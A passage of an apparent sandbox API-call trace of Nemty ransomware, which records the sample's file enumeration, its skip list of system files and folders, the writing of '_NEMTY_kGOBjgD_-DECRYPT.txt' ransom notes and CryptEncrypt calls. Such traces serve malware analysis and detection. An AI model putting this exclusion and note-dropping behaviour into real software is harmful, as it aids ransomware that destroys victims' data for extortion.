lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0080.266] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0080.266] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0080.266] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0080.266] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0080.266] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0080.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0080.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0080.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0080.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0080.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0080.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0080.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0080.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0080.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0080.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0080.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0080.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0080.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0080.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0080.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0080.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0080.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0080.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0080.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0080.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0080.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.266] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe28256b0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xe28256b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xe28256b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0080.267] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0080.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0080.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0080.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0080.267] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Rectangles", cAlternateFileName="RECTAN~1")) returned 1 [0080.267] lstrcmpiW (lpString1="Rectangles", lpString2=".") returned 1 [0080.267] lstrcmpiW (lpString1="Rectangles", lpString2="..") returned 1 [0080.267] lstrcmpiW (lpString1="Rectangles", lpString2="...") returned 1 [0080.267] lstrcmpiW (lpString1="Rectangles", lpString2="windows") returned -1 [0080.267] lstrcmpiW (lpString1="Rectangles", lpString2="$RECYCLE.BIN") returned 1 [0080.267] lstrcmpiW (lpString1="Rectangles", lpString2="rsa") returned -1 [0080.267] lstrcmpiW (lpString1="Rectangles", lpString2="NTDETECT.COM") returned 1 [0080.267] lstrcmpiW (lpString1="Rectangles", lpString2="ntldr") returned 1 [0080.267] lstrcmpiW (lpString1="Rectangles", lpString2="MSDOS.SYS") returned 1 [0080.267] lstrcmpiW (lpString1="Rectangles", lpString2="IO.SYS") returned 1 [0080.267] lstrcmpiW (lpString1="Rectangles", lpString2="boot.ini") returned 1 [0080.267] lstrcmpiW (lpString1="Rectangles", lpString2="boot.ini") returned 1 [0080.267] lstrcmpiW (lpString1="Rectangles", lpString2="AUTOEXEC.BAT") returned 1 [0080.267] lstrcmpiW (lpString1="Rectangles", lpString2="ntuser.dat") returned 1 [0080.267] lstrcmpiW (lpString1="Rectangles", lpString2="desktop.ini") returned 1 [0080.267] lstrcmpiW (lpString1="Rectangles", lpString2="CONFIG.SYS") returned 1 [0080.267] lstrcmpiW (lpString1="Rectangles", lpString2="RECYCLER") returned -1 [0080.267] lstrcmpiW (lpString1="Rectangles", lpString2="BOOTSECT.BAK") returned 1 [0080.267] lstrcmpiW (lpString1="Rectangles", lpString2="bootmgr") returned 1 [0080.267] lstrcmpiW (lpString1="Rectangles", lpString2="programdata") returned 1 [0080.268] lstrcmpiW (lpString1="Rectangles", lpString2="appdata") returned 1 [0080.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Rectangles", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0080.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Rectangles", cchWideChar=10, lpMultiByteStr=0x653ef10, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Rectangles", lpUsedDefaultChar=0x0) returned 10 [0080.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0080.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Rectangles", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0080.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Rectangles", cchWideChar=10, lpMultiByteStr=0x653ef10, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Rectangles", lpUsedDefaultChar=0x0) returned 10 [0080.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0080.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94238 [0080.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0080.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0080.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0080.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0080.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0080.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0080.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0080.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0080.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f942b0 [0080.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0080.268] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0080.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0080.280] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.280] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0080.281] CloseHandle (hObject=0x3cc) returned 1 [0080.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0080.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0080.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0080.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942b0 [0080.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94328 [0080.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0080.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0080.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0080.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0080.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0080.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0080.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6340048 [0080.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0080.282] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0080.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0080.283] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.283] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0080.284] CloseHandle (hObject=0x3cc) returned 1 [0080.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0080.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0080.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0080.284] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe37ea870, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xe37ea870, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0080.284] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0080.284] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe37ea870, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xe37ea870, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0080.284] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0080.284] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0080.284] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f955d49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f955d49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0080.284] lstrcmpiW (lpString1="1047x576black.png", lpString2=".") returned 1 [0080.285] lstrcmpiW (lpString1="1047x576black.png", lpString2="..") returned 1 [0080.285] lstrcmpiW (lpString1="1047x576black.png", lpString2="...") returned 1 [0080.285] lstrcmpiW (lpString1="1047x576black.png", lpString2="windows") returned -1 [0080.285] lstrcmpiW (lpString1="1047x576black.png", lpString2="$RECYCLE.BIN") returned 1 [0080.285] lstrcmpiW (lpString1="1047x576black.png", lpString2="rsa") returned -1 [0080.285] lstrcmpiW (lpString1="1047x576black.png", lpString2="NTDETECT.COM") returned -1 [0080.285] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntldr") returned -1 [0080.285] lstrcmpiW (lpString1="1047x576black.png", lpString2="MSDOS.SYS") returned -1 [0080.285] lstrcmpiW (lpString1="1047x576black.png", lpString2="IO.SYS") returned -1 [0080.285] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0080.285] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0080.285] lstrcmpiW (lpString1="1047x576black.png", lpString2="AUTOEXEC.BAT") returned -1 [0080.285] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat") returned -1 [0080.285] lstrcmpiW (lpString1="1047x576black.png", lpString2="desktop.ini") returned -1 [0080.285] lstrcmpiW (lpString1="1047x576black.png", lpString2="CONFIG.SYS") returned -1 [0080.285] lstrcmpiW (lpString1="1047x576black.png", lpString2="RECYCLER") returned -1 [0080.285] lstrcmpiW (lpString1="1047x576black.png", lpString2="BOOTSECT.BAK") returned -1 [0080.285] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr") returned -1 [0080.285] lstrcmpiW (lpString1="1047x576black.png", lpString2="programdata") returned -1 [0080.285] lstrcmpiW (lpString1="1047x576black.png", lpString2="appdata") returned -1 [0080.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0080.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0080.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0080.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0080.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0080.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0080.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0080.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0080.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0080.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0080.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0080.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0080.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0080.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0080.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0080.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0080.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0080.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0080.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0080.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0080.286] Sleep (dwMilliseconds=0x5) [0080.291] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe38109d0, dwHighDateTime=0x1d561e7)) [0080.291] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe38109d0, dwHighDateTime=0x1d561e7)) [0080.291] GetLastError () returned 0xb7 [0080.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0080.291] GetLastError () returned 0xb7 [0080.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0080.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0080.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0080.291] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0080.291] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0080.291] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0080.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0080.291] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="NYov4o35V9Wz/zfNKsViT9PjlLzi3MDq/FQLvaVrhUafW4auQ5LhDh5Tf2V92IJp\r\n1XeGsURx3d4U+kJqRFqwHHpu7idsY5LuZKFtLnUckMPQie4n3uNEXUz9awWycZm7\r\npGznI6SxPVQzPOrTBJty+YfyjPpe/MdFuhFm37IxgjKDRoGYs/8U/23udfiWU2fm\r\ndS1gDLxH3w2E5mEEeXxbOWWh495Wfrh9gDUfYVCbo/LvAXyQpb0uSaItdU77bDco\r\n9Wsl4I78AZTlvm2AS/gULlLmgddHBQJ/re2vyx3aGBEfmQZPuoBN6mvYkdRsoq9T\r\noZzi2cyGKrv3Ag1qRSjyxg==\r\n", pcchString=0x653e91c) returned 1 [0080.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0080.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0080.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0080.292] RtlAllocateHeap 